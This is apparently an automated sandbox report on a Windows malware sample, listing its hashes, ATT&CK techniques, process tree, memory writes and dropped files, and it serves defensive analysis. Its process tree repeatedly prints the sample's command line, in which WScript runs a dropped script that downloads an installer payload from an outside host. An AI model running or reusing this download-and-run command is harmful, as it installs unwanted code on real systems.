a6b1d8977ad35d3792690c299a3327b6c7ca4bc216a58926118247c887ff980d

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20-05-2024 12:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe
Size

184KB
MD5

5f0bd484b84024709ccbbbce7255649b
SHA1

006621a641a61bf4af17314deb8d2dbba71daacd
SHA256

a6b1d8977ad35d3792690c299a3327b6c7ca4bc216a58926118247c887ff980d
SHA512

f3232b92efe5f6f3130f914988152a51cdb72e74574d61dd9a73391f237631b9d8814eaee76a1329ad374572ec8e58355c56bc6283f31c4acb63819b9dd6dd75
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3B:/7BSH8zUB+nGESaaRvoB7FJNndnM

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2192	WScript.exe
8	2192	WScript.exe
10	2192	WScript.exe
12	2420	WScript.exe
13	2420	WScript.exe
15	2656	WScript.exe
16	2656	WScript.exe
18	1840	WScript.exe
19	1840	WScript.exe
21	1208	WScript.exe
22	1208	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
836	2856	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2192	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	28
PID 2856 wrote to memory of 2192	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	28
PID 2856 wrote to memory of 2192	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	28
PID 2856 wrote to memory of 2192	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	28
PID 2856 wrote to memory of 2420	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	30
PID 2856 wrote to memory of 2420	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	30
PID 2856 wrote to memory of 2420	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	30
PID 2856 wrote to memory of 2420	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	30
PID 2856 wrote to memory of 2656	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	32
PID 2856 wrote to memory of 2656	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	32
PID 2856 wrote to memory of 2656	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	32
PID 2856 wrote to memory of 2656	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	32
PID 2856 wrote to memory of 1840	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	34
PID 2856 wrote to memory of 1840	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	34
PID 2856 wrote to memory of 1840	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	34
PID 2856 wrote to memory of 1840	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	34
PID 2856 wrote to memory of 1208	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	36
PID 2856 wrote to memory of 1208	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	36
PID 2856 wrote to memory of 1208	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	36
PID 2856 wrote to memory of 1208	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	36
PID 2856 wrote to memory of 836	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	38
PID 2856 wrote to memory of 836	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	38
PID 2856 wrote to memory of 836	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	38
PID 2856 wrote to memory of 836	2856	5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\5f0bd484b84024709ccbbbce7255649b_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2655.js" http://www.djapp.info/?domain=AZIoogmKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2655.exe
  2⤵
  - Blocklisted process makes network request
  PID:2192
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2655.js" http://www.djapp.info/?domain=AZIoogmKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2655.exe
  2⤵
  - Blocklisted process makes network request
  PID:2420
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2655.js" http://www.djapp.info/?domain=AZIoogmKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2655.exe
  2⤵
  - Blocklisted process makes network request
  PID:2656
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2655.js" http://www.djapp.info/?domain=AZIoogmKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2655.exe
  2⤵
  - Blocklisted process makes network request
  PID:1840
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2655.js" http://www.djapp.info/?domain=AZIoogmKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fuf2655.exe
  2⤵
  - Blocklisted process makes network request
  PID:1208
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2856 -s 232
  2⤵
  - Program crash
  PID:836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
4729bdc0e745b3293b606e2af8a3986f

SHA1
5c5bca22089d566d5f4e2836ea97026952ae1b1d

SHA256
ab2d2c145ab00319ef5b1c4fe09623700a26c25fa009dc18bc3cde11c5bda0ec

SHA512
381e495c91ce282e54940596b53998e152e196eb257853e3c0d97a3e4a26cbf7041cfcaf179ad213d93058aeee9987292dd2302a1219b23a2190aa898910466a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
647c4e4f479e40f8963fe32ad2ee90e2

SHA1
8babdf727fc17a46273f47cd44bc3e1613cb5a6d

SHA256
519d95f5c2f41930ff5c0600d4a2a272d52dbbb4970763cc6ca81de1abef2dca

SHA512
0719ab4d9c4aaed1aa58737de208aef92a75af2f6040aaf76e19804cc715c910d7dacb090450ab302a8652059d63deb340dc6a15fb489bf63d78a59d004d1a16

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e830cba36310688a27f87c67329c9c9a

SHA1
aaf5fe11aedc3ebec73e504f134a9fa7b420eb72

SHA256
9afe5547d2e5fb2bc8585c3f0d3631772a6a3665bc2e51206712277cb71fe2dc

SHA512
bd75f7090182ebda41dd7baaa33d9ee163d3f6fdbb2137c1a62c5514d55883f7348267037d162bfa844cecc1199422a237faca087d149bd873604ebe2c24adf2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
6d7d3f505f12e193e6bd0ced953ce9c6

SHA1
8e9ba7d7dbeab97243adc3560fa34e50258d270a

SHA256
706178cb413e265e22bf1d9bb6831621add50c4a03b3a8a6a9d515b124704f52

SHA512
de2a5a68e6359cd04a947e73525c2e9dad038263be72c79d6a8a91977b0ea24787bb7701cf983f7828f08bbf902428f7b91e56aaf2e4e269676578f9f358e0cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9ZQLLOZN\domain_profile[1].htm

Filesize
40KB

MD5
01ab9f59ab0b52b533ad1073a9e74e76

SHA1
d469afc24682f7d82b927040d2386be7fbfe3d8d

SHA256
785819467129540a66f18abe8f0e15c10f3d4b6891bfa088543d21e8c249825b

SHA512
11bd1799423485d42a64d5b31cb4a3119364af7027f034ccf9524bcebfe14bcc54b326d23dff7a6d1165268f3610854dcbdfc9ee6c4c1afe4fcf88b693e922d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9ZQLLOZN\domain_profile[1].htm

Filesize
40KB

MD5
e93e13617370c705a92636fa7cf366ad

SHA1
5bad2ccbe7c6e977d5aaa6e81506a8334fca842c

SHA256
16c9a16bbc941d0bfee68a13dfb56b9545d5fb50d139fe871c9d0259f240bd6a

SHA512
872e2a02d0deee9caac22128a2d3456f7aa03044ae2cdfdb06614aacf2d06f4043ed466739e23650efe6607ed3cd6f57d4b630e055d2c9b3d550f43f7769ba56

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9ZQLLOZN\domain_profile[1].htm

Filesize
40KB

MD5
2cc4047e7f44e81300f467d4ea1f7a76

SHA1
2e26eb729fbb6e6f1fc19b16ad158cbb42b7dfc3

SHA256
bd8be8c7e15c3e8b97d2423cec01c18b8f7e9116608772e4ebec16f6eaca51ef

SHA512
4fe4da8305e2d4a48aaace70574260bcae9f04fd66485e5b38fae3f825ba7e8f488092c9e94f990e431e9b894de62cc2b758c757c9b4bc191c15e7c670fb4594

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\domain_profile[1].htm

Filesize
40KB

MD5
315212abccecfe062f9df3a64ca5c21d

SHA1
e1d667732a786942b99186dbc7ea6bdd1fde9a25

SHA256
284787d1043024ffbf8a1c6cf7d25226787242f358b9ad50bd43fcd0b0ab6375

SHA512
3d7278f6325c3690e2b7381e9457c82afb45c8f272e248722915c8d78ec8b7c44bea306ef5e9c7bac90cfd21808689570bab2c81bb9968842d0c0aa7757bb295

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\domain_profile[1].htm

Filesize
40KB

MD5
db519790ed2daa4aa038963be2891fd4

SHA1
6b994def655dfbfdbd077684049bbb60ee986126

SHA256
11e294aa521f0d4240f9d3a67f32d5a7ed5d787cd214eefbc3c0c1fcb4c3186b

SHA512
a331497355489d23801afb59f6af0420e1170194ef51b9d7814a42c5b957224c0567ebc712932889a370d23412c592be1c67058e13eecb560bf3b43bb951f4f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab56C7.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar6F09.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf2655.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\31CJVQIJ.txt

Filesize
177B

MD5
cbd8a6a2fb73f350e2cb2ff849d18e10

SHA1
801aa8507c598e451bcf4ac1dd0adfe6d2caa9ec

SHA256
705bc4effa8132f0e9d2011db10f9f5adf8106453fada12f5481945d6e71b0a1

SHA512
1be793138b27bed2b41c5ffcf8c29b2943789404dcf59eae04d3a900945e841482732fd5b164177c8d6b61e18a6c6f2554f800da135ebc6a54a6e3e822257558

Download Submit